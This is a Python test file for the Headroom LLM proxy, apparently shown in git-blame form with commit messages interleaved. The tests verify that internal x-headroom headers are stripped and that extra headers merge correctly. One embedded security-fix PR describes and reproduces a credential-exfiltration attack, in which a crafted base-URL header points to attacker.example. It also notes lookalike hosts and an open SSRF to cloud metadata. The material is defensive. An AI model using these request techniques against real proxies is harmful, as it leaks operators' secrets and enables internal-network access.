`strip_internal: bool` so the same path serves HTTP and WebSocket. - `Config::strip_internal_headers: StripInternalHeaders` driven by CLI flag `--strip-internal-headers` and env var `HEADROOM_PROXY_STRIP_INTERNAL_HEADERS` (default `enabled`). - `proxy.rs` and `websocket.rs` call `build_forward_request_headers` with the resolved policy; structured `tracing::info!` / `tracing::warn!` line per request describes the strip decision. Tests: 24 Python (`tests/test_header_isolation.py`) + 4 Rust integration (`crates/headroom-proxy/tests/integration_headers.rs`) + 4 Rust unit tests in `headers.rs`. Covers every named header (`bypass`, `mode`, `user-id`, `stack`, `base-url`), case-insensitive prefix matching, legitimate-headers passthrough, the `disabled` operator-opt-in mode, and that the inbound bypass-gating read path is unaffected by the strip. Acceptance: targeted `pytest -x` suite green (87 tests across test_header_isolation, test_proxy_byte_faithful_forwarding, test_proxy_anthropic_cache_stability, test_proxy_system_prompt_immutable, test_proxy_openai_cache_stability, test_proxy_pipeline_lifecycle). `cargo test -p headroom-proxy` green (23 tests across all integrations plus 7 lib unit tests). `cargo clippy -p headroom-proxy -- -D warnings` clean. `cargo fmt --all -- --check` clean. `cargo test --workspace` green (~900 tests total). Per realignment build constraints: configurable (env + CLI), no hardcodes, no regex (pure `.lower().starts_with()` match), no silent fallbacks (`disabled` is loud operator opt-in), structured logs (`event=outbound_headers`). Remaining `x-headroom-` references in `headroom/proxy/handlers/` are inbound-read sites only: `request.headers.get("x-headroom-bypass")` / `x-headroom-mode` for behavior gating, `request.headers.get ("x-headroom-user-id")` for memory user-id resolution, and `ws_headers .get(...)` on the WebSocket inbound path. Response-side `X-Headroom-*` injection (e.g. `x-headroom-tokens-saved`) is unrelated to upstream forwarding and untouched.
2026-05-02 09:35:27 -07:00
)
app = create_app(config)
proxy = app.state.proxy
transport = _CapturingTransport()
proxy.http_client = httpx.AsyncClient(transport=transport)
fake_tracker = _FakePrefixTracker(frozen_count=0)
proxy.session_tracker_store.compute_session_id = lambda request, model, messages: "s1"
proxy.session_tracker_store.get_or_create = lambda session_id, provider: fake_tracker
return TestClient(app), transport
def test_x_headroom_bypass_not_forwarded() -> None:
client, transport = _make_anthropic_app()
resp = client.post(
"/v1/messages",
headers={
"x-api-key": "test-key",
"anthropic-version": "2023-06-01",
"content-type": "application/json",
"x-headroom-bypass": "true",
},
json={
"model": "claude-sonnet-4-6",
"max_tokens": 16,
"messages": [{"role": "user", "content": "hi"}],
},
)
assert resp.status_code == 200, resp.text
assert transport.captured_headers is not None
upstream = {k.lower(): v for k, v in transport.captured_headers.items()}
assert "x-headroom-bypass" not in upstream
# Legitimate headers must reach upstream.
assert upstream.get("x-api-key") == "test-key"
assert upstream.get("anthropic-version") == "2023-06-01"
def test_x_headroom_mode_not_forwarded() -> None:
client, transport = _make_anthropic_app()
resp = client.post(
"/v1/messages",
headers={
"x-api-key": "test-key",
"anthropic-version": "2023-06-01",
"content-type": "application/json",
"x-headroom-mode": "passthrough",
},
json={
"model": "claude-sonnet-4-6",
"max_tokens": 16,
"messages": [{"role": "user", "content": "hi"}],
},
)
assert resp.status_code == 200, resp.text
assert transport.captured_headers is not None
upstream = {k.lower(): v for k, v in transport.captured_headers.items()}
assert "x-headroom-mode" not in upstream
def test_x_headroom_user_id_not_forwarded() -> None:
client, transport = _make_anthropic_app()
resp = client.post(
"/v1/messages",
headers={
"x-api-key": "test-key",
"anthropic-version": "2023-06-01",
"content-type": "application/json",
"x-headroom-user-id": "alice",
},
json={
"model": "claude-sonnet-4-6",
"max_tokens": 16,
"messages": [{"role": "user", "content": "hi"}],
},
)
assert resp.status_code == 200, resp.text
assert transport.captured_headers is not None
upstream = {k.lower(): v for k, v in transport.captured_headers.items()}
assert "x-headroom-user-id" not in upstream
def test_x_headroom_stack_not_forwarded() -> None:
client, transport = _make_anthropic_app()
resp = client.post(
"/v1/messages",
headers={
"x-api-key": "test-key",
"anthropic-version": "2023-06-01",
"content-type": "application/json",
"x-headroom-stack": "engineer",
},
json={
"model": "claude-sonnet-4-6",
"max_tokens": 16,
"messages": [{"role": "user", "content": "hi"}],
},
)
assert resp.status_code == 200, resp.text
assert transport.captured_headers is not None
upstream = {k.lower(): v for k, v in transport.captured_headers.items()}
assert "x-headroom-stack" not in upstream
def test_x_headroom_base_url_not_forwarded() -> None:
client, transport = _make_anthropic_app()
resp = client.post(
"/v1/messages",
headers={
"x-api-key": "test-key",
"anthropic-version": "2023-06-01",
"content-type": "application/json",
"x-headroom-base-url": "https://override.example",
},
json={
"model": "claude-sonnet-4-6",
"max_tokens": 16,
"messages": [{"role": "user", "content": "hi"}],
},
)
assert resp.status_code == 200, resp.text
assert transport.captured_headers is not None
upstream = {k.lower(): v for k, v in transport.captured_headers.items()}
assert "x-headroom-base-url" not in upstream
def test_case_insensitive_prefix_match_e2e() -> None:
"""Mixed-case headers are stripped end-to-end."""
client, transport = _make_anthropic_app()
resp = client.post(
"/v1/messages",
headers={
"x-api-key": "test-key",
"anthropic-version": "2023-06-01",
"content-type": "application/json",
"X-Headroom-Foo": "1",
"x-Headroom-Bar": "2",
"X-HEADROOM-BAZ": "3",
},
json={
"model": "claude-sonnet-4-6",
"max_tokens": 16,
"messages": [{"role": "user", "content": "hi"}],
},
)
assert resp.status_code == 200, resp.text
assert transport.captured_headers is not None
upstream_lower = {k.lower(): v for k, v in transport.captured_headers.items()}
assert "x-headroom-foo" not in upstream_lower
assert "x-headroom-bar" not in upstream_lower
assert "x-headroom-baz" not in upstream_lower
def test_legitimate_headers_passthrough_e2e() -> None:
"""Authorization / x-api-key / x-request-id / Content-Type all preserved."""
client, transport = _make_anthropic_app()
resp = client.post(
"/v1/messages",
headers={
"Authorization": "Bearer sk-ant-test",
"x-api-key": "test-key",
"anthropic-version": "2023-06-01",
"content-type": "application/json",
"x-request-id": "rid-abc",
"User-Agent": "claude-code/1.2.3",
},
json={
"model": "claude-sonnet-4-6",
"max_tokens": 16,
"messages": [{"role": "user", "content": "hi"}],
},
)
assert resp.status_code == 200, resp.text
assert transport.captured_headers is not None
upstream = {k.lower(): v for k, v in transport.captured_headers.items()}
assert upstream.get("x-api-key") == "test-key"
assert upstream.get("anthropic-version") == "2023-06-01"
assert upstream.get("user-agent") == "claude-code/1.2.3"
# Authorization is delivered uppercased; httpx normalizes to lowercase
# when reading via dict()-of-Headers, so check via lowercase key.
assert upstream.get("authorization") == "Bearer sk-ant-test"
def test_inbound_read_path_still_reads_x_headroom_bypass() -> None:
"""Bypass header still gates compression even though it's stripped from upstream.
The handler reads `request.headers.get('x-headroom-bypass')` directly.
Stripping the local outbound-bound `headers` dict does NOT affect that
inbound read path.
"""
config = ProxyConfig(
# Compression is the only thing bypass affects observably; turn it on.
optimize=True,
cache_enabled=False,
rate_limit_enabled=False,
cost_tracking_enabled=False,
log_requests=False,
ccr_inject_tool=False,
ccr_handle_responses=False,
ccr_context_tracking=False,
image_optimize=False,
)
app = create_app(config)
proxy = app.state.proxy
transport = _CapturingTransport()
proxy.http_client = httpx.AsyncClient(transport=transport)
fake_tracker = _FakePrefixTracker(frozen_count=0)
proxy.session_tracker_store.compute_session_id = lambda request, model, messages: "s_bypass"
proxy.session_tracker_store.get_or_create = lambda session_id, provider: fake_tracker
client = TestClient(app)
# Force a bypass via header. The handler logs "Bypass: skipping compression"
# if the inbound read worked; we can't easily intercept the log, so we
# primarily assert that:
# 1. The request still succeeds.
# 2. The upstream did NOT receive the `x-headroom-bypass` header.
resp = client.post(
"/v1/messages",
headers={
"x-api-key": "test-key",
"anthropic-version": "2023-06-01",
"content-type": "application/json",
"x-headroom-bypass": "true",
},
json={
"model": "claude-sonnet-4-6",
"max_tokens": 16,
"messages": [{"role": "user", "content": "hi"}],
},
)
assert resp.status_code == 200
upstream = {k.lower(): v for k, v in (transport.captured_headers or {}).items()}
assert "x-headroom-bypass" not in upstream
def test_disabled_mode_passes_through_e2e(
monkeypatch: pytest.MonkeyPatch,
) -> None:
"""`HEADROOM_STRIP_INTERNAL_HEADERS=disabled` lets internal headers through."""
monkeypatch.setenv("HEADROOM_STRIP_INTERNAL_HEADERS", "disabled")
client, transport = _make_anthropic_app()
resp = client.post(
"/v1/messages",
headers={
"x-api-key": "test-key",
"anthropic-version": "2023-06-01",
"content-type": "application/json",
"x-headroom-mode": "passthrough",
},
json={
"model": "claude-sonnet-4-6",
"max_tokens": 16,
"messages": [{"role": "user", "content": "hi"}],
},
)
assert resp.status_code == 200, resp.text
assert transport.captured_headers is not None
upstream = {k.lower(): v for k, v in transport.captured_headers.items()}
# Operator opt-in: internal header IS forwarded (diagnostic mode).
assert upstream.get("x-headroom-mode") == "passthrough"
# ---------------------------------------------------------------------------
# OpenAI Chat Completions parity check
# ---------------------------------------------------------------------------
def test_openai_chat_x_headroom_bypass_not_forwarded() -> None:
"""OpenAI handler also strips x-headroom-* before upstream call."""
config = ProxyConfig(
optimize=False,
cache_enabled=False,
rate_limit_enabled=False,
cost_tracking_enabled=False,
log_requests=False,
ccr_inject_tool=False,
ccr_handle_responses=False,
ccr_context_tracking=False,
image_optimize=False,
)
app = create_app(config)
proxy = app.state.proxy
captured: dict[str, object] = {}
async def _fake_retry(method, url, headers, body, stream=False, **kwargs): # noqa: ANN001
captured["headers"] = dict(headers)
return httpx.Response(
200,
json={
"id": "chatcmpl_1",
"object": "chat.completion",
"model": "gpt-4o",
"choices": [
{
"index": 0,
"message": {"role": "assistant", "content": "ok"},
"finish_reason": "stop",
}
],
"usage": {"prompt_tokens": 10, "completion_tokens": 1, "total_tokens": 11},
},
)
proxy._retry_request = _fake_retry # type: ignore[attr-defined]
proxy.memory_handler = SimpleNamespace(
config=SimpleNamespace(inject_context=False, inject_tools=False),
search_and_format_context=AsyncMock(return_value=""),
has_memory_tool_calls=lambda resp, provider: False,
)
client = TestClient(app)
resp = client.post(
"/v1/chat/completions",
headers={
"authorization": "Bearer sk-test",
"x-headroom-bypass": "true",
"x-headroom-user-id": "u1",
},
json={
"model": "gpt-4o",
"messages": [{"role": "user", "content": "hi"}],
},
)
assert resp.status_code == 200, resp.text
sent_headers_raw = captured.get("headers")
assert isinstance(sent_headers_raw, dict)
sent_headers = {k.lower(): v for k, v in sent_headers_raw.items()}
assert "x-headroom-bypass" not in sent_headers
assert "x-headroom-user-id" not in sent_headers
assert sent_headers.get("authorization") == "Bearer sk-test"
fix(proxy): dedupe Codex WS request logging for accurate mixed-provider dashboards (#2189) ## Description Running Claude Code (Anthropic) and Codex (OpenAI) against the **same** Headroom proxy instance on one port produced incorrect, unstable dashboard data. The proxy core is provider-isolated and multi-provider-safe by design; the defect was in the observability layer. The Codex `/v1/responses` **WebSocket** handler was the only path in the proxy that wrote to the request logger by hand instead of through the unified `emit_request_outcome` funnel, and it did so twice per session close: the per-turn funnel record plus an unconditional cumulative session-summary `RequestLog`. This PR removes the duplicate summary log so Codex WS emits exactly one request log per turn, matching the HTTP provider paths. ## Type of Change - [x] Bug fix (non-breaking change that fixes an issue) - [ ] New feature (non-breaking change that adds functionality) - [ ] Breaking change (fix or feature that would cause existing functionality to change) - [ ] Documentation update - [ ] Performance improvement - [ ] Code refactoring (no functional changes) ## Changes Made - Dropped the duplicate cumulative session-summary `RequestLog` in the Codex WS handler while preserving the per-turn `emit_request_outcome` path. - Preserved gated `request_messages` and `turn_id` on residual outcomes so dashboard telemetry keeps the useful attribution without double-counting tokens. - Ensured explicit `--anyllm-provider` wins over a leaked `HEADROOM_ANYLLM_PROVIDER` environment variable. - Registered retry delay settings that had drifted out of the settings registry. - Hardened tests against developer-shell `HEADROOM_*` / `ANTHROPIC_CUSTOM_HEADERS` leakage and stabilized several focused proxy/wrap test fixtures. ## Testing - [x] Unit tests pass (`pytest`) - [x] Linting passes (`ruff check .`) - [ ] Type checking passes (`mypy headroom`) - [x] New tests added for new functionality - [x] Manual testing performed ### Test Output ```text $ .venv/bin/pytest tests/ -q -p no:cacheprovider 8529 passed, 537 skipped, 5831 warnings in 276.25s (0:04:36) $ .venv/bin/ruff check <touched files> All checks passed! ``` ## Real Behavior Proof - Environment: macOS (Darwin 25.4.0), Python 3.13.14, pytest 9.0.3, ruff via project venv, branch `fix/multi-provider-runtime`. - Exact command / steps: Ran the full test suite without pytest cache provider and Ruff on all touched files; used `git stash` to confirm the stale fake-config failures pre-existed this change. - Observed result: Full suite passed with no failures; Ruff passed; Codex WS now routes end-of-session logging through `emit_request_outcome`, emitting one request log per turn with the same accounting model as Anthropic HTTP turns. - Not tested: Live simultaneous Claude + Codex dashboard run. `mypy headroom` was not run to completion; a scoped run reported one pre-existing `settings_store.py:470` coercion error outside this diff. ## Review Readiness - [x] I have performed a self-review - [x] This PR is ready for human review ## Checklist - [x] My code follows the project's style guidelines - [x] I have performed a self-review of my code - [x] I have commented my code, particularly in hard-to-understand areas - [ ] I have made corresponding changes to the documentation - [x] My changes generate no new warnings - [x] I have added tests that prove my fix is effective or that my feature works - [x] New and existing unit tests pass locally with my changes - [ ] I have updated the CHANGELOG.md if applicable ## Screenshots (if applicable) N/A - server-side observability fix; no UI markup changed. ## Additional Notes - The proxy's multi-provider routing, header/auth isolation, and per-model cache keying are already correct and unchanged here; only the WS observability write path was double-counting. - Architectural assessment: `plans/reports/research-260714-0004-multi-provider-upstream-compression-report.md`; root-cause + resolution trail: `plans/reports/debug-assessment-260714-0011-dashboard-instability-mixed-claude-codex-report.md`. - No live simultaneous Claude + Codex dashboard run was performed; validation is from test coverage and code review of the WS logging path. --------- Co-authored-by: JerrettDavis <mxjerrett@gmail.com>
2026-07-16 01:18:34 +07:00
# ---------------------------------------------------------------------------
# Configured extra headers (anthropic_extra_headers / openai_extra_headers)
# ---------------------------------------------------------------------------
def test_anthropic_extra_headers_merged_and_override_client_header() -> None:
"""Configured extra headers reach upstream and override same-named client headers."""
client, transport = _make_anthropic_app(
anthropic_extra_headers={"x-api-key": "gateway-key", "x-gateway-id": "gw-1"}
)
resp = client.post(
"/v1/messages",
headers={
"x-api-key": "client-key",
"anthropic-version": "2023-06-01",
},
json={
"model": "claude-sonnet-4-6",
"max_tokens": 16,
"messages": [{"role": "user", "content": "hi"}],
},
)
assert resp.status_code == 200, resp.text
assert transport.captured_headers is not None
upstream = {k.lower(): v for k, v in transport.captured_headers.items()}
# Configured header wins over the client-sent value for the same key.
assert upstream.get("x-api-key") == "gateway-key"
# A configured header not sent by the client is still added.
assert upstream.get("x-gateway-id") == "gw-1"
def test_anthropic_no_extra_headers_configured_is_unchanged() -> None:
"""With no extra headers configured, forwarding behavior is unchanged."""
client, transport = _make_anthropic_app()
resp = client.post(
"/v1/messages",
headers={"x-api-key": "client-key", "anthropic-version": "2023-06-01"},
json={
"model": "claude-sonnet-4-6",
"max_tokens": 16,
"messages": [{"role": "user", "content": "hi"}],
},
)
assert resp.status_code == 200, resp.text
upstream = {k.lower(): v for k, v in transport.captured_headers.items()}
assert upstream.get("x-api-key") == "client-key"
assert "x-gateway-id" not in upstream
def test_merge_extra_headers_overrides_case_insensitively() -> None:
"""A configured extra header wins even when the client used different casing."""
out = merge_extra_headers(
fix(proxy): stop operator secrets following a client-chosen upstream (#3122) ## Description `x-headroom-base-url` lets a client choose the upstream for a single request — a deliberate, documented feature for routing to OpenAI-compatible gateways. `*_extra_headers` is operator-configured, marked `secret=True` in the settings store, and its own help text uses an API key as the example value. The two met in the wrong order: ``` openai.py:3127 headers = merge_extra_headers(headers, self.config.openai_extra_headers) openai.py:3134 upstream_base_url = _resolve_openai_upstream_base(request.headers) ``` The secret was merged **before** the destination was resolved. So: ``` POST /v1/messages X-Headroom-Base-Url: https://attacker.example ``` reached the attacker's host **carrying the operator's gateway key**. One request, no user interaction, from anything able to reach the proxy port — a malicious postinstall script, a compromised transitive dep, a second agent session. Same shape on the Anthropic Messages route (`anthropic.py:1091`) and on `/v1/responses` (`openai.py:5120`, whose override resolves 300 lines later at `:5420`). Without `*_extra_headers` configured the same primitive is still a plain SSRF, but that is the pre-existing behavior of a documented feature; **this PR fixes the credential leak, not the routing.** ## Type of Change - [x] Bug fix (non-breaking change that fixes an issue) ## Changes Made - **`headroom/proxy/upstream_trust.py`** (new) — the policy. A secret only travels to a host the operator designated: one of the resolved provider API targets, or a host in `HEADROOM_UPSTREAM_ALLOWED_HOSTS`. This is the rule `copilot_auth.is_copilot_upstream_url` already applies to Headroom's own Copilot token, generalized. - **`merge_extra_headers` now takes a required keyword-only `upstream_url`.** This is the actual fix. An optional parameter would have closed three call sites and left the tenth forwarder free to reintroduce the bug; a required one means a forwarder *cannot merge a secret without declaring where it goes*. All nine call sites updated — the three client-controllable ones pass the resolved override, the six config-derived ones pass `None`. - Undesignated upstreams are **still proxied**, just without the secret, and the refusal logs once per host (not per request) with the remedy in the message. - Docs updated in `configuration.mdx` and `pipeline-extensions.mdx`. Matching is on the parsed hostname, never the URL string. Whole-string comparison lets `https://api.anthropic.com@evil.example` through, and makes a base URL match while base+path does not — that exact asymmetry is how a gate ends up covering routing but not the credential attach. Exact hostname equality, no wildcards. ## Testing - [x] Unit tests pass (`pytest`) - [x] Integration tests pass - [x] Manual testing performed ### Test Output ```text tests/test_upstream_credential_scoping.py 15 passed (new) Regression sweep (-k "proxy or header or copilot or codex or anthropic or openai or upstream"): 3340 passed, 163 skipped, 1 failed in 164.56s The single failure is tests/test_learn/test_integration.py::TestCodexIntegration::test_full_pipeline ("assert 'Bash' in {'exec', 'followup_task', ...}"). Verified pre-existing: it fails identically on a clean origin/main worktree. ruff check: All checks passed ruff format --check: 7 files already formatted mypy headroom/proxy/upstream_trust.py: Success, no issues found ``` ## Real Behavior Proof - Environment: macOS (darwin 25.4.0), Python 3.12.13, worktree off `main`, `_core.abi3.so` copied in so the extension imports. - Exact command / steps: built the exploit as an end-to-end test — a `TestClient` app with `anthropic_extra_headers={"Api-Key": "corp-gateway-secret"}` and a capturing transport, then `POST /v1/messages` with `X-Headroom-Base-Url: https://attacker.example`, asserting on the headers the transport actually received. **Then disabled only the new gate (leaving the signature intact) to confirm the test reproduces the original vulnerability.** - Observed result: with the gate disabled the test fails with the secret visibly on the wire — ``` AssertionError: assert 'api-key' not in {..., 'api-key': 'corp-gateway-secret', ...} ``` With the gate restored, 15/15 pass. The companion test asserts the request still reached `attacker.example` and still carried the *client's* own `x-api-key`, so the fix withholds the operator's credential without breaking the routing feature or the client's auth. Lookalike hosts (`api.anthropic.com@evil.example`, `api.anthropic.com.evil.example`, scheme-less values, `://`) are covered by parametrized cases. - Not tested: no live upstream was contacted — all uses a capturing `httpx` transport. The WebSocket forwarders (`openai.py:6606`, `codex/live.py:131`) pass `upstream_url=None` because their destination is config-derived; that classification is verified by reading the callers (`_api_target(proxy, "openai")`, `codex_responses_websocket_url()`), not by a test. ## Runtime Rollout Safety - Rollout-managed feature(s): None. - Minimum rollout channel: n/a - Stable/default behavior changed: **Yes, deliberately.** If an operator today configures `*_extra_headers` *and* routes via `x-headroom-base-url` to a host that is not a configured provider target, those headers stop being sent. That is the vulnerability, so the change is the point — but it is a real behavior change for that setup, which is why the log line names the host and the env var to fix it. - Kill switch / disable path: `HEADROOM_UPSTREAM_ALLOWED_HOSTS=<host>` restores delivery for a named host. There is deliberately no global "off". - Unsafe override required: No. - Qualification impact: None. - Rollback path: Revert the commit. ## Review Readiness - [x] I have performed a self-review - [x] This PR is ready for human review ## Additional Notes Found during the same audit, **not fixed here** — each wants its own change: - **The plain SSRF remains by design.** With no `*_extra_headers` configured, a client can still make the proxy issue an arbitrary request to an arbitrary host (cloud metadata at `169.254.169.254`, internal admin panels) and read the response. Closing that means either an opt-in requirement for the header or private-IP blocking, and private-IP blocking would break the common local-gateway setup (LiteLLM on `127.0.0.1`). Worth a deliberate decision rather than a silent change here. - **CORS is the only thing keeping this off the web.** `x-headroom-base-url` is a non-simple header so it forces a preflight, and the default origin regex is loopback-only. Setting `HEADROOM_CORS_ORIGINS=*` would make the above reachable from any web page. - The `/v1/*` data plane has no authentication for loopback callers even when `HEADROOM_PROXY_TOKEN` is set (`server.py:3368` exempts loopback), so "any local process" is the realistic attacker for all of the above. Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
2026-08-18 22:27:25 -07:00
{"Authorization": "client", "keep": "v"},
{"authorization": "gateway"},
upstream_url=None,
fix(proxy): dedupe Codex WS request logging for accurate mixed-provider dashboards (#2189) ## Description Running Claude Code (Anthropic) and Codex (OpenAI) against the **same** Headroom proxy instance on one port produced incorrect, unstable dashboard data. The proxy core is provider-isolated and multi-provider-safe by design; the defect was in the observability layer. The Codex `/v1/responses` **WebSocket** handler was the only path in the proxy that wrote to the request logger by hand instead of through the unified `emit_request_outcome` funnel, and it did so twice per session close: the per-turn funnel record plus an unconditional cumulative session-summary `RequestLog`. This PR removes the duplicate summary log so Codex WS emits exactly one request log per turn, matching the HTTP provider paths. ## Type of Change - [x] Bug fix (non-breaking change that fixes an issue) - [ ] New feature (non-breaking change that adds functionality) - [ ] Breaking change (fix or feature that would cause existing functionality to change) - [ ] Documentation update - [ ] Performance improvement - [ ] Code refactoring (no functional changes) ## Changes Made - Dropped the duplicate cumulative session-summary `RequestLog` in the Codex WS handler while preserving the per-turn `emit_request_outcome` path. - Preserved gated `request_messages` and `turn_id` on residual outcomes so dashboard telemetry keeps the useful attribution without double-counting tokens. - Ensured explicit `--anyllm-provider` wins over a leaked `HEADROOM_ANYLLM_PROVIDER` environment variable. - Registered retry delay settings that had drifted out of the settings registry. - Hardened tests against developer-shell `HEADROOM_*` / `ANTHROPIC_CUSTOM_HEADERS` leakage and stabilized several focused proxy/wrap test fixtures. ## Testing - [x] Unit tests pass (`pytest`) - [x] Linting passes (`ruff check .`) - [ ] Type checking passes (`mypy headroom`) - [x] New tests added for new functionality - [x] Manual testing performed ### Test Output ```text $ .venv/bin/pytest tests/ -q -p no:cacheprovider 8529 passed, 537 skipped, 5831 warnings in 276.25s (0:04:36) $ .venv/bin/ruff check <touched files> All checks passed! ``` ## Real Behavior Proof - Environment: macOS (Darwin 25.4.0), Python 3.13.14, pytest 9.0.3, ruff via project venv, branch `fix/multi-provider-runtime`. - Exact command / steps: Ran the full test suite without pytest cache provider and Ruff on all touched files; used `git stash` to confirm the stale fake-config failures pre-existed this change. - Observed result: Full suite passed with no failures; Ruff passed; Codex WS now routes end-of-session logging through `emit_request_outcome`, emitting one request log per turn with the same accounting model as Anthropic HTTP turns. - Not tested: Live simultaneous Claude + Codex dashboard run. `mypy headroom` was not run to completion; a scoped run reported one pre-existing `settings_store.py:470` coercion error outside this diff. ## Review Readiness - [x] I have performed a self-review - [x] This PR is ready for human review ## Checklist - [x] My code follows the project's style guidelines - [x] I have performed a self-review of my code - [x] I have commented my code, particularly in hard-to-understand areas - [ ] I have made corresponding changes to the documentation - [x] My changes generate no new warnings - [x] I have added tests that prove my fix is effective or that my feature works - [x] New and existing unit tests pass locally with my changes - [ ] I have updated the CHANGELOG.md if applicable ## Screenshots (if applicable) N/A - server-side observability fix; no UI markup changed. ## Additional Notes - The proxy's multi-provider routing, header/auth isolation, and per-model cache keying are already correct and unchanged here; only the WS observability write path was double-counting. - Architectural assessment: `plans/reports/research-260714-0004-multi-provider-upstream-compression-report.md`; root-cause + resolution trail: `plans/reports/debug-assessment-260714-0011-dashboard-instability-mixed-claude-codex-report.md`. - No live simultaneous Claude + Codex dashboard run was performed; validation is from test coverage and code review of the WS logging path. --------- Co-authored-by: JerrettDavis <mxjerrett@gmail.com>
2026-07-16 01:18:34 +07:00
)
assert out == {"authorization": "gateway", "keep": "v"}
# Exactly one authorization header survives (no duplicate casings upstream).
assert [k for k in out if k.lower() == "authorization"] == ["authorization"]
def test_merge_extra_headers_none_returns_same_object() -> None:
"""No configured extras -> caller's dict is returned unchanged (no copy)."""
headers = {"a": "b"}
fix(proxy): stop operator secrets following a client-chosen upstream (#3122) ## Description `x-headroom-base-url` lets a client choose the upstream for a single request — a deliberate, documented feature for routing to OpenAI-compatible gateways. `*_extra_headers` is operator-configured, marked `secret=True` in the settings store, and its own help text uses an API key as the example value. The two met in the wrong order: ``` openai.py:3127 headers = merge_extra_headers(headers, self.config.openai_extra_headers) openai.py:3134 upstream_base_url = _resolve_openai_upstream_base(request.headers) ``` The secret was merged **before** the destination was resolved. So: ``` POST /v1/messages X-Headroom-Base-Url: https://attacker.example ``` reached the attacker's host **carrying the operator's gateway key**. One request, no user interaction, from anything able to reach the proxy port — a malicious postinstall script, a compromised transitive dep, a second agent session. Same shape on the Anthropic Messages route (`anthropic.py:1091`) and on `/v1/responses` (`openai.py:5120`, whose override resolves 300 lines later at `:5420`). Without `*_extra_headers` configured the same primitive is still a plain SSRF, but that is the pre-existing behavior of a documented feature; **this PR fixes the credential leak, not the routing.** ## Type of Change - [x] Bug fix (non-breaking change that fixes an issue) ## Changes Made - **`headroom/proxy/upstream_trust.py`** (new) — the policy. A secret only travels to a host the operator designated: one of the resolved provider API targets, or a host in `HEADROOM_UPSTREAM_ALLOWED_HOSTS`. This is the rule `copilot_auth.is_copilot_upstream_url` already applies to Headroom's own Copilot token, generalized. - **`merge_extra_headers` now takes a required keyword-only `upstream_url`.** This is the actual fix. An optional parameter would have closed three call sites and left the tenth forwarder free to reintroduce the bug; a required one means a forwarder *cannot merge a secret without declaring where it goes*. All nine call sites updated — the three client-controllable ones pass the resolved override, the six config-derived ones pass `None`. - Undesignated upstreams are **still proxied**, just without the secret, and the refusal logs once per host (not per request) with the remedy in the message. - Docs updated in `configuration.mdx` and `pipeline-extensions.mdx`. Matching is on the parsed hostname, never the URL string. Whole-string comparison lets `https://api.anthropic.com@evil.example` through, and makes a base URL match while base+path does not — that exact asymmetry is how a gate ends up covering routing but not the credential attach. Exact hostname equality, no wildcards. ## Testing - [x] Unit tests pass (`pytest`) - [x] Integration tests pass - [x] Manual testing performed ### Test Output ```text tests/test_upstream_credential_scoping.py 15 passed (new) Regression sweep (-k "proxy or header or copilot or codex or anthropic or openai or upstream"): 3340 passed, 163 skipped, 1 failed in 164.56s The single failure is tests/test_learn/test_integration.py::TestCodexIntegration::test_full_pipeline ("assert 'Bash' in {'exec', 'followup_task', ...}"). Verified pre-existing: it fails identically on a clean origin/main worktree. ruff check: All checks passed ruff format --check: 7 files already formatted mypy headroom/proxy/upstream_trust.py: Success, no issues found ``` ## Real Behavior Proof - Environment: macOS (darwin 25.4.0), Python 3.12.13, worktree off `main`, `_core.abi3.so` copied in so the extension imports. - Exact command / steps: built the exploit as an end-to-end test — a `TestClient` app with `anthropic_extra_headers={"Api-Key": "corp-gateway-secret"}` and a capturing transport, then `POST /v1/messages` with `X-Headroom-Base-Url: https://attacker.example`, asserting on the headers the transport actually received. **Then disabled only the new gate (leaving the signature intact) to confirm the test reproduces the original vulnerability.** - Observed result: with the gate disabled the test fails with the secret visibly on the wire — ``` AssertionError: assert 'api-key' not in {..., 'api-key': 'corp-gateway-secret', ...} ``` With the gate restored, 15/15 pass. The companion test asserts the request still reached `attacker.example` and still carried the *client's* own `x-api-key`, so the fix withholds the operator's credential without breaking the routing feature or the client's auth. Lookalike hosts (`api.anthropic.com@evil.example`, `api.anthropic.com.evil.example`, scheme-less values, `://`) are covered by parametrized cases. - Not tested: no live upstream was contacted — all uses a capturing `httpx` transport. The WebSocket forwarders (`openai.py:6606`, `codex/live.py:131`) pass `upstream_url=None` because their destination is config-derived; that classification is verified by reading the callers (`_api_target(proxy, "openai")`, `codex_responses_websocket_url()`), not by a test. ## Runtime Rollout Safety - Rollout-managed feature(s): None. - Minimum rollout channel: n/a - Stable/default behavior changed: **Yes, deliberately.** If an operator today configures `*_extra_headers` *and* routes via `x-headroom-base-url` to a host that is not a configured provider target, those headers stop being sent. That is the vulnerability, so the change is the point — but it is a real behavior change for that setup, which is why the log line names the host and the env var to fix it. - Kill switch / disable path: `HEADROOM_UPSTREAM_ALLOWED_HOSTS=<host>` restores delivery for a named host. There is deliberately no global "off". - Unsafe override required: No. - Qualification impact: None. - Rollback path: Revert the commit. ## Review Readiness - [x] I have performed a self-review - [x] This PR is ready for human review ## Additional Notes Found during the same audit, **not fixed here** — each wants its own change: - **The plain SSRF remains by design.** With no `*_extra_headers` configured, a client can still make the proxy issue an arbitrary request to an arbitrary host (cloud metadata at `169.254.169.254`, internal admin panels) and read the response. Closing that means either an opt-in requirement for the header or private-IP blocking, and private-IP blocking would break the common local-gateway setup (LiteLLM on `127.0.0.1`). Worth a deliberate decision rather than a silent change here. - **CORS is the only thing keeping this off the web.** `x-headroom-base-url` is a non-simple header so it forces a preflight, and the default origin regex is loopback-only. Setting `HEADROOM_CORS_ORIGINS=*` would make the above reachable from any web page. - The `/v1/*` data plane has no authentication for loopback callers even when `HEADROOM_PROXY_TOKEN` is set (`server.py:3368` exempts loopback), so "any local process" is the realistic attacker for all of the above. Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
2026-08-18 22:27:25 -07:00
assert merge_extra_headers(headers, None, upstream_url=None) is headers